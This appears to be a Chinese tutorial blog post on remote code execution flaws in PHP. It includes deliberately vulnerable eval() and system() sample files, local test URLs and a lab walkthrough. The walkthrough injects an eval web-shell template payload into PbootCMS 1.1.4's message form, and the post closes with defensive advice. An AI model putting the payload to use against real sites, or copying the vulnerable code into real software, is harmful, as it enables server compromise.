【网安-Web渗透测试-漏洞系列】RCE漏洞

RCE漏洞

一、RCE概念

1、什么是RCE漏洞?

RCE(Remote Code/Command Execution)是远程代码执⾏和远程命令执⾏的漏洞。在很多Web应⽤中,开发⼈员会使⽤⼀些函数,这些函数以⼀些字符串作为输⼊,功能是将输⼊的字符串当作代码或者命令来进⾏执⾏。当⽤户可以控制这些函数的输⼊时,就产⽣了RCE漏洞。

2、危害性

RCE漏洞是⾮常严重的安全漏洞,⼀旦出现,就意味着攻击者可以获取服务器的命令执⾏权限,从⽽对服务器安全造成极⼤的影响。

二、运行环境

名称
操作系统 Windows 10
中间件 phpStudy 2018
PHP版本 5.4.45
Apache 2.4

三、远程代码执行案例

1、eval函数

(1)新建rce_1.php文件

bash 复制代码
<?php
 $code=$_GET['x'];
 eval($code);
?>

(2)访问地址

bash 复制代码
http://127.0.0.1/rce_1.php?x=phpinfo();
bash 复制代码
http://127.0.0.1/rce_1.php?x=echo 'This is an echo print output!';

2、system函数

(1)新建rce_2.php文件

bash 复制代码
<?php
 $code=$_GET['x'];
 echo system($code);
?>

(2)访问地址

bash 复制代码
http://127.0.0.1/rce_2.php?x=ipconfig
bash 复制代码
http://127.0.0.1/rce_2.php?x=dir
bash 复制代码
http://127.0.0.1/rce_2.php?x=tasklist
bash 复制代码
http://127.0.0.1/rce_2.php?x=systeminfo

四、PbootCMS-1.1.4靶场实践

1、靶场环境配置

(1)部署地址

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\pboot

(2)访问地址

bash 复制代码
http://127.0.0.1/pboot

2、漏洞复现

Step1:访问地址

bash 复制代码
http://127.0.0.1/pboot/index.php/about/10.html


Step2:留言输⼊框 "内 容" 中填入如下的东西后,单击"提交"。

bash 复制代码
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

提交成功后会显示"提交成功"

Step3:登录后台

bash 复制代码
账户:admin
密码:123456


Step4:在 "在线留言" 页面中注入恶意语句

3、分析"漏洞复现"为何能成功注入

Step1:所访问的 "在线留言" 中含有的访问地址已得知。

bash 复制代码
http://127.0.0.1/pboot/index.php/about/10.html

Step2:现查阅 "在线留言" 的源码,位置如下:

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\pboot\apps\home\controller\AboutController.php

Step3:从图片看到ParserController.php中存在了一个eval函数,且AboutController.php(即"在线留言"页面)调用了ParserController.php模块。

五、RCE漏洞防御

  • 在进入执行命令函数前,需做严格的检测和过滤;
  • 命令执行函数(不能完全控制的危险函数)尽量不用,如果必须使用,则一定要加上验证,以防他人利用。
  • 必须保证用户不能轻易接触eval的参数,如果一定需要用该函数,需严格判断输入的数据是否含有危险变量。
相关推荐
ShoreKiten1 小时前
ctfshowweb入门 SSTI模板注入专题保姆级教程(二)
web安全·flask·ssti·ctfshow
xiejava10182 小时前
网络安全资产画像实战
安全·web安全·网络安全
Jerry_Gao9213 小时前
【CTF】【ez-rce】无字母数字绕过正则表达式
正则表达式·php·ctf
菩提小狗6 小时前
第16天:信息打点-CDN绕过&业务部署&漏洞回链&接口探针&全网扫描&反向邮件_笔记|小迪安全2023-2024|web安全|渗透测试|
笔记·安全·web安全
~央千澈~7 小时前
优雅草正版授权系统 - 优雅草科技开源2月20日正式发布
python·vue·php·授权验证系统
盖头盖20 小时前
【PHP_原生函数的利用】
php
Chockmans1 天前
春秋云境CVE-2020-19957
web安全·网络安全·春秋云境·cve-2020-19957
JienDa1 天前
HaiO安装与快速开始
开发语言·php
~央千澈~1 天前
抖音弹幕游戏开发之第16集:异常处理与稳定性·优雅草云桧·卓伊凡
开发语言·php